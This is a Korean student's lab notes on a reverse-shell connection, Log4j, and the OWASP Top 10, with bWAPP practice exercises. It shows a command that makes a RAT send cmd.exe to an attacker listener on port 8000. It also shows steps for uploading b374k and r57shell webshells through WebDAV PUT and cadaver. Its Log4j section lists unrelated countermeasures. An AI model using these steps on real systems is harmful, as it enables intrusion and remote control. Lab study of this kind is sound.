Reverse Connection(webshell, RAT 이용), OWASP Top 10

Jh Park·2022년 9월 7일

RK - 애보

목록 보기
3/5

1. Reverse Connection

  • Attacker : Server : Ubuntu
  • Victim : Client : Windows2003
  • 조건 : Victim에는 사전에 웹쉘과 RAT가 설치

1) Ubuntu에서 8000포트는 열어둔다.

2) Victim에 사전에 깔아둔 웹쉘을 이용한다.

3) 웹쉘을 이용하여 윈도우에 c:\wine.exe 192.168.5.128 8000 -e cmd.exe 커맨드를 입력, wine.exe 라는 RAT를 실행하여 ubuntu 8000포트로 연결한다.

4) ubuntu를 확인

5) 연결 확인 및 명령어 실험

2. Log4j(log for j)

  • Log4j는 Java/Kotlin/Scala/Groovy/Clojure 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 한다.
  • 국내에서는 스프링 프레임워크를 기반으로 한 전자 정부 프레임워크 등에서 Log4j를 사용하고 있다. 또한 도커 및 쿠버네티스 등을 통해 컨테이너를 기반으로 운영 중인 다양한 서비스에서도 Log4j가 사용되고 있
  • 대응방법
    • 명백한 허용을 제외하고 모두 거부 (Deny All Philosophy : 모든 것을 거부하는 원칙)
    • 디렉토리 리스팅을 차단한다. 다만 관리자가 일부러 디렉토리 리스팅을 하는 경우는 상관이 없다. 하지만 관리자가 모르는 상태에서 디렉토리가 리스팅된다면 모든 파일이 인터넷에 노출되게 되는데 이런한 경우가 큰 문제가 된다.
    • 쿠키값을 제대로 만료하지 않을 경우에 로그아웃하기 전에 쿠키값을 복사하고 로그아웃하여 복사한 쿠키를 로그아웃 이후에 붙여넣기하고 재방문할시에 사용자로 계속 인식

3. OWASP Top 10

1) OWASP이란

  • 가장 최신의 웹 보안 트렌드를 알 수 있음
  • 전세계 보안 전문가들을 대상으로 설문---> 취합해서 정리해서 순위를 정함
  • 상위 10개의 취약점이 전체의 약 95%에 해당

2) 순위

  • A01 Broken Access Control
    • 접근 통제 관리 필요성 : 권한을 적절하게 부여 (Least Privilege : 최소한의 특권, Need to Know : 알필요에 근거)
    • 접근 관리(읽기, 쓰기, 수정, 복사, 삭제, 출력), 사용자에 대한 등급/카테고리 고려, 그룹단위 관리 등등
  • A02 Cryptographic Failures
    • 민감한 데이터의 노출 : Crawler(검색엔진들이 사용하는 수집용 도구)의 숫자 증가, 성능 증가 ---> 검색 많이 됨
    • 개인정보와 관련된 Compliance들이 요구수준이 높아짐
  • A03 Injection
    • SQL인젝션, OS Command Injection등의 증가 ----> 대응 방법이 많이 알려져서 순위가 약간 내려감
    • XSS가 따로 분류되지 않고 Injection에 포함됨
  • A04 Insecure Design
    • 보안이 고려된 설계의 의무화 ----> 경험없는 개발자, 보안에 대한 교육을 받지 못한 개발자
    • 대충 만들고 나중에 보완하려면 비용이 더 많이 발생
  • A05 Security Misconfiguration
    • 보안 설정이 잘못됨 : 로그인 우회
  • A06 Vulnerable and Outdated Components
    • 취약하고 오래된 요소들을 사용 ex) SSL3.0, TLS1.0등을 아직도 사용하면 안됨
  • A07 Identification and Authentication Failures
    • 로그인 문제, 인증(지식, 소유, 생체, 위치기반)문제가 Mobile때문에 강화된 측면---> 순위 내려감
  • A08 Software and Data Integrity Failures
    • 무결성 훼손은 조작 등 우려
  • A09 Security Logging and Monitoring Failures
    • 로그 양이 많고 실시간 분석 ---> 최근에는 ML, AI을 활용
  • A10 Server Side Request Forgery (SSRF)
    • 스크립트를 활용한 요청 위조 공격

4. 실습

1. A01 Broken Access Control

http://192.168.5.141/jsp/cmnt_view02.jsp?num=1

  • 게시물주소창에서 예측가능한 파일을 발견

view
http://192.168.5.141/jsp/cmnt_write.jsp?num=1
변경

1) 프록시 이용를 이용한 파일 업로드

  • 사전에 vmware을 이용하여 beebug연결 하였음

  • BWAPP의 WebDav에 접속
    ※ WebDAV란? 웹을 개발할 때 여러 개발자들이 파일을 업로드 하고 수정 및 삭제 등을 위해 열어놓은 디렉토리이다.

  • 새로고침 후 프록시 확인

  • 방법은 아래의 사항을 노란부분과 같이 변경
    • GET > PUT
    • test.test(파일이름)추가
    • 파일 내용 추가

  • 이것을 응용하여 b374k파일 추가가 가능하다.
  • WebDav에서 b374k파일 확인

2)리눅스

  • 사전에 vmware을 이용하여 beebug와 열었으며 kali의 바탕화면에 r57shell.php 다운받고 cmd창을 열어 사전에 준비하였다.

  • 사용한 명령문 (사진 중간에 실수있음 주의! )
    • cd Desktop // 바탕화면으로 이동
    • ls // 파일 확인
    • sudo cadaver http://192.168.5.130/webdav //해당 사이트와의 연결
    • put r57shell.php // 바탕화면에 있던 파일을 넣음

A02 Cryptographic Failures

  • 암호화를 잘 못하는 이유
  • 암호화 및 복호화하는데 컴퓨터 연산량이 많아지는 문제 ----> 서버 부하
  • 오래된 웹사이트, 옛날에 만든 페이지가 그대로 남아있는 경우
  • 처음에는 안전한 암호화였으나, 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹 될 수 있는 상태가 됨
  • 안전하지 않은 암호화
  • 대칭키 : DES, 3DES, RC4 등등, ECB방식
  • 공개키 : RSA1024bit 이하
  • 해시함수 : MD5, SHA1, LMhash, NThash 등
    cf. SEED : 우리나라에서 만든 대칭키, 아직까지는 안전한 것으로 판단 ----> 은행 중앙망에서 사용

알면 좋은 것

  • Crawler

    • 검색엔진이 100개가 넘음
    • 전세계 웹사이트를 방문해서 Crawling을 하고 있음
    • 정상적인 검색엔진 : Google, Naver, Yahoo, Baidu 등등
    • 비정상적인 검색엔진 : 해커들이 운영하는 Crawler가 있음 ----> 정보수집
  • Crawler 방문 금지 요청
    - 웹서버 루트 디렉토리에 robots.txt 파일을 생성하고
    User-Agent : *
    Disallow: /
    모든 검색엔진 대상으로 모든 디렉토리를 허용하지 않는다.

  • 일부 허용
    User-Agent : googlebot
    Allow:/
    구글봇만 허용하며 구글봇은 모든 디렉토리 허용
  • MySQL에서 데이터베이스에 대한 정보는 information_schema라고 하는 데이터베이스에 저장되어 있음 (메타데이터)
    • 테이블이름은 information_schema.tables라는 테이블에 table_name이라는 컬럼에 저장되어 있다.
    • 컬럼 이름은 information_schema.columns라는 테이블에 column_name이라는 컬럼에 저장되어 있다.
    • DB이름은 table_schema라는 컬럼에 저장되어 있다.
    • 내부함수
      database() : 데이터베이스 이름을 확인하는 함수
      version() : 버전을 확인하는 함수
      @@version : 버전을 확인하는 함수
      user( ) : 사용자를 확인하는 함수

0개의 댓글